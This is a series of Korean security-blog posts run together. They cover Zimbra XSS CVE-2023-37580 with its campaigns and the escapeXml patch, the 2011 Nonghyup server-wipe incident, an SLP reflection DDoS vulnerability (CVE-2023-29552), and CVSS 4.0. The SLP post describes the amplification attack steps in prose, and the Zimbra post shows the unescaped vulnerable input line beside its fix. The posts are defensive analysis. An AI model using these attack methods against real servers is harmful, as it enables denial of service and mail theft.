> 사용자가 해당 메일의 링크를 클릭할 경우 공격이 진행 [3]
> 사용자 이메일과 첨부파일을 탈취하고, 자동 전달 규칙을 설정해 공격자가 제어하는 이메일 주소로 리다이렉션

 

[사진 2] 익스플로잇 과정 요약 [3]

 

- 서로 다른 미상의 해킹 그룹은 총 4번의 공격 캠페인을 진행

> 캠페인 1(23.07.29): 익스플로잇 URL이 포함된 메일을 전송 및 실행을 유듀해 이메일 탈취 [3]
> 캠페인 2(23.07.11): 특정 조직에 맞춤화되고, 고유한 공식 이메일 주소가 포함된 여러 익스플로잇 URL 전송 [4][5]
> 캠페인 3(23.07.20): 웹 메일 자격증명을 캡쳐하는 피싱페이지로 연결되는 익스플로잇 URL을 포함하는 피싱메일 전송
> 캠페인 4(23.08.25): 짐브라 인증 토큰을 탈취하기 위한 피싱메일 전송

 

3. 대응

- 짐브라는 23.07.05 깃허브에 핫픽스 배포 [6]
> 23.07.13 모든 사서함 노드에 수정 사항을 수동으로 적용하는 방법 공개 [7]
> 23.07.25 공식 패치 발표 [8]

※ escapeXml()를 이용해 st 매개변수에대한 입력값 검증 과정을 추가한 것으로 판단됨

[수동 적용 방법]
① /opt/zimbra/jetty/webapps/zimbra/m/momoveto 파일을 백업 후 편집
② 해당 파일 40번째 줄 매개변수 값 업데이트
> <input name="st" type="hidden" value="${fn:escapeXml(param.st)}"/>

※ 업데이트 이전 값: <input name="st" type="hidden" value="${param.st}"/>

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-37580
[2] https://blog.google/threat-analysis-group/zimbra-0-day-used-to-target-international-government-organizations/amp/
[3] https://www.volexity.com/blog/2022/02/03/operation-emailthief-active-exploitation-of-zero-day-xss-vulnerability-in-zimbra/
[4] https://www.proofpoint.com/us/blog/threat-insight/exploitation-dish-best-served-cold-winter-vivern-uses-known-zimbra-vulnerability
[5] https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/
[6] https://github.com/Zimbra/zm-web-client/commit/874ac8c158532a057b9857c21e1e03853b77ee6b
[7] https://blog.zimbra.com/2023/07/security-update-for-zimbra-collaboration-suite-version-8-8-15/
[8] https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
[9] https://www.boannews.com/media/view.asp?idx=123874&page=1&kind=1
[10] https://www.dailysecu.com/news/articleView.html?idxno=151326

침해 사고 정보
일자 2011/04/12 ~ 2011/04/30
침해 정보 농협 전산망 275대 시스템 파일 삭제
특징 업무용 노트북 개인사용에의한 악성코드 감염
피해크기 농협 전산망 마비로 인한 모든 전산업무 중단
침해 사고 분석
경위 ① 10/09/04 농협 전산망 유지보수업체 직원 A씨 노트북으로 웹하드 이용
- 해당 노트북을 이용해 서버 관리 업무 수행
> 웹하드를 이용하던 중 악성코드에 감염되어 좀비 PC로 동작

② 10/10/22 노트북에 키로킹 프로그램 설치

③ 11/03/11 ~ 11/04/12 공격 관련 프로그램 설치
- 백도어, 파일 삭제 관련, 도청 프로그램, 공격 명령 프로그램 등 설치
> 키로깅 프로그램과 함께 사용해 계정정보 등 전산망 관리를 위한 정보 (계정, 내부 IP 등) 탈취

④ 11/04/12 공격 명령 파일 실행 및 흔적 제거
- 원격제어로 시스템 파일 삭제 명령이 저장된 공격 명령 프로그램 실행
> 당시 총 553대 서버 중 275대가 일부 혹은 전체 삭제
> 공격에 사용한 프로그램 삭제

⑤ 11/04/13 ~ 11/04/30 조사 착수 및 단계적 정상화
- 검찰 노트북, 전산자료, 서버 접속 기록 등을 확보하여 유관 기관과 협조 조사
> 11/04/30 농협 대고객서비스 완전 복구

⑥ 11/05/03 검찰 수사 결과 발표
- 북한이 관여된 사이버테러
원인 ① 업무용 노트북의 외부 반출 및 개인적 사용
- 통제 없이 서버 관리용 노트북의 외부 반출·입
> 서버 관리용 노트북을 개인적으로 사용해 영화, 음악을 다운

② 내·외부망 분리 미비로인한 점접 발생
- 통제구역 내에서 인터넷 연결 가능
> 작업 스케줄러 등을 통한 예약실행 가능성 존재

③ 기타 보안 조치 미비
- 서버 관리자 계정 동일한 비밀번호 장기간 사용 (약 9개월)
- 유지보수 업체 직원에 과도한 권한 부여 (시스템 파일 삭제 명령 실행)
- 유지보수 업체의 정책에 따라 노트북에 보안 프로그램이 설치되지 않음  (약 7개월)
조치 ① 농협
- 공격 명령 실행 10분 후 명령이 실행된 모든 중개 서버 셧다운
- 대고객 거래 전면 중단

② 검찰
- 약 한 달의 수사 결과 북한이 관여된 사이버테러라는 취지의 결과 발표
> 근거 1: 과거 북한이 사용한 IP와 동일한 하나의 IP 확인 (IP 한 개가 동일할 확률은 43억분의 1)
> 근거 2: 7.7, 3.4 DDoS 때와 공격 패턴, 암호화 방식, 삭제 대상 파일 확장자의 종류와 순서, 악성코드 이름 등 일치
> 근거 3: 노트북의 맥 어드레스와 모종의 경로로 국정원이 압수한 북한의 좀비 PC 중 하나와 맥어드레스가 일치
※ 기타: 보안 프로그램이 설치되지 않은 노트북, 무선인터넷을 이용한 방회벽 우회 등

③ 금융권
- 보안 관련 인력 확보 및 내부 보안절차 강화
> 웹 취약성 진단 횟수 증가
> 이동식저장장치(USB) 사용 일부 제한
> 부서장 승인을 통한 데이터 반출
> 일회용비밀번호(OTP) 등 추가 인증
> 망분리 방안 검토
> 외국 은행의 보안 시스템 벤치마킹
※ 정부 차원의 사이버 안보 마스터 플랜 마련 계획, 국가사이버위기관리법 재정 추진, 사이버사령부 확대 개편 등
기타 ① 농협 전산망에 대한 비판
- 당시 농협 IT 예산 중 보안 예산 비중은 1.6% (시스템 구축 완료 후 예산 삭감)
- 최저가 입찰을 통한 외부 아웃소싱
- 시스템 관리용 노트북의 백신 프로그램 미설치
- 시스템 관리용 노트북의 통제 없이 외부 반출·입 등

② 검찰 조사 결과에 대한 비판
- 농협 내부망에서 백도어 프로그램이 동작할 수 없음
- 대부분의 해커들이 IP를 스푸핑하므로 단정짓기는 어려움
- 7.7, 3.4 DDoS 공격은 북한의 소행이라고 확실히 밝혀지지 않음 등
> 당시 사용된 IP의 경우 KISA를 통해 이미 차단이 진행됨

③ 세 가지 가능성이 대두되었음
- 전·현직 직원의 복수극
> 규정상 서버 관리자와 직원이 권한을 나눠 가져야 함
> 하지만, 업무 편의를 위해 유지·보수를 맡은 직원이 모든 권한을 지님

- 내·외부 공모
> 공격 프로그램의 설치 과정에 내부자 또는 시스템을 잘 아는 인물이 개입되었을 것

- 전문 해커에 의한 사이버 테러
> 전산망 방화벽 내부에서 여러 차례 침입 흔적이 발견

 

1. SLP (Service Location Protocol) [1][2]

- 클라이언트가 사전 구성 없이 LAN에서 사용 가능한 서비스를 동적으로 검색 및 통신할 수 있도록 하는 서비스 검색 프로토콜

- 대부분 UDP를 사용하나, 긴 패킷을 전송할 경우 TCP 또한 사용가능하며, UDP와 TCP 모두 427 포트를 사용

- RFC2165에 따르면 해당 프로토콜은 LAN, 엔터프라이즈 네트워크 등 제한된 네트워크에 서비스를 제공하기 위한 것

 

1.1 DRDoS (Distributed Reflective Denial of Service)

- 기존의 DDoS 공격보다 한층 진화된 기법: 근원지 은닉, 향상된 공격 규모 및 피해

- 스푸핑한 IP를 이용하여 정상 서비스를 제공하는 서버들에 요청을 보낸 후 응답을 공격 대상이 받게 하는 것

> 해당 과정을 반복하여 대량의 트래픽을 유발하여, 서비스 거부 상태 등의 장애를 유발

> 정상 서비스를 제공하는 서버를 반사체라고 함

※ 응답과 관련한 추가 정보들이 덧붙여져 패킷의 크기가 증폭되는 것으로 판단됨

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-29552 [3]

 

- SLP 서버에 임의의 서비스를 등록한 후 스푸핑된 IP로 요청을 전송공격 대상이 서비스 거부 상태에 빠지게 되는 취약점

> SLP는 제한적인 네트워크를 대상으로 서비스를 제공하기 위해 사용

> 불필요하게 인터넷과 연결된 SLP 서버가 약 54,000개 이상 확인됨 [4]

 

[사진 2] 취약한 SLP 인스턴스

 

- 공격 과정은 다음과 같음

① UDP/427 Port로 서비스하는 SLP 서버 탐색

② SLP 서버에 임의의 서비스 등록

③ IP를 스푸핑하여 ②에서 등록한 서비스 요청

④ ③단계를 반복적으로 수행해 대량의 트래픽 유발

 

- 일반적인 SLP 서버의 응답 크기는 48 ~ 350 Byte

> 요청 크기를 29 Byte로 가정했을 때 약 1.6 ~ 12배 정도 응답이 증폭

 

[사진 3] 서비스 요청 패킷 크기(위) 및 서비스 응답 패킷 크기(아래) 비교 [4]

 

- 서비스 등록과 Reflective를 결합하면 트래픽의 양을 크게 증가시킬 수 있음

> 공격자는 조작된 요청을 통해 최대 2200배 이상의 증폭을 생성할 수 있음

 

[사진 4] 취약점을 악용한 공격 패킷 캡처 [4]

 

3. 대응방안

① SLP 비활성화

② SLP 서버에 대한 접근 통제 및 모니터링 강화

 

4. 참고

[1] https://en.wikipedia.org/wiki/Service_Location_Protocol
[2] https://www.rfc-editor.org/rfc/rfc2165.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-29552
[4] https://www.bitsight.com/blog/new-high-severity-vulnerability-cve-2023-29552-discovered-service-location-protocol-slp
[5] https://securityaffairs.com/145295/hacking/slp-flaw-ddos-attacks.html
[6] https://thehackernews.com/2023/11/cisa-alerts-high-severity-slp.html?m=1
[7] https://www.cisa.gov/news-events/alerts/2023/04/25/abuse-service-location-protocol-may-lead-dos-attacks
[8] https://www.boannews.com/media/view.asp?idx=117519&page=1&kind=1

'취약점 > Denial of Service' 카테고리의 다른 글

Loop DoS (CVE-2024-2169)  (0) 2024.03.23
KeyTrap 취약점(CVE-2023-50387)  (0) 2024.02.28
HTTP/2 Rapid Reset DDoS (CVE-2023-44487)  (0) 2023.10.13
2009.07.07 DDoS  (0) 2023.07.06
Anonymous Sudan DDoS  (0) 2023.06.23
요약 - 지난주 새로운 CVSS 기준이 발표
- 각자의 환경에 맞게 위험 요소를 평가 및 관리하는데 도움이 될 수 있을 것
내용 - CVSS 4.0은 이전 버전은 보다 ‘평준화 된’ 리스크 평가 기법
> 동적이면서 컨텍스트까지 고려한 위험 평가를 가능하게 됨
> 취약점의 순수 기술적 특성만으로 위험도를 평가하지 않음
> 취약점을 절대적인 기준이 아닌 여러 환경과 맥락, 시점을 입체적으로 고려하여 평가
> 같은 취약점이라 하더라도 어떤 환경이냐에 따라 위험성이 달라진다는 것이 반영

- 장점
> 공개된 익스플로잇 코드, 실제 피해 사례, 해커가 공격을 성공하기 위해 성립되어야 할 조건 등의 외부요인을 CVSS 계산시 포함
> CVSS 지표를 확인해 구체적이고 맞춤형으로 리스크 관리를 할 수 있게될 것

> 기밀성, 무결성, 가용성 요소를 이전버전 보다 세분화
> 익스플로잇의 자동화 가능성, 물리적 사고 유발 가능성 등 OT 보안 반영

- 단점
> CVSS 점수만으로 취약점을 평가하고 해결하려 하기 때문에, 다른 취약점 관리 체계(KEV, EPSS 등)와 함께 사용할 때 효과를 발휘할 것
> CVSS 버전이 높아질 때마다 취약점들의 평균 점수는 지속해서 상승해, 고위험 및 초고위험 취약점이 증가할 것이며, 이를 대비하기 위한 프로세스를 마련할 필요
기타 - CVSS(Common Vulnerabilities Scoring System)
> 2005년부터 시작된 보안 취약점들의 심각도를 평가하기 위한 무료 개방형 업계 표준
> 취약점의 가장 중요한 특성을 이해하고, 그것에 수치로 된 점수를 부여함으로써 심각성을 표기
> 점수를 기준으로 대응 및 리소스의 우선순위를 지정하는데 도움

- KEV(Known Exploited Vulnerabilities)
> 미국 CISA에서 관리하는 실제로 활발하게 악용된 알려진 취약점 목록

- EPSS(Exploit Prediction Scoring System)
> 취약점이 실제로 악용될 가능성을 확률로 추정

 

보안뉴스

 

 

확 달라진 CVSS 4.0, 취약점에 대한 입체적 평가 가능하게 할 듯

취약점에 점수를 매겨 위험성을 직관적으로 표시할 수 있게 해 주는 시스템인 CVSS의 새로운 버전이 지난 주 발표됐다. CVSS 4.0인데, 현재까지 여러 전문가들이 검토한 바에 의하면 각 기업의 보안

www.boannews.com

+ Recent posts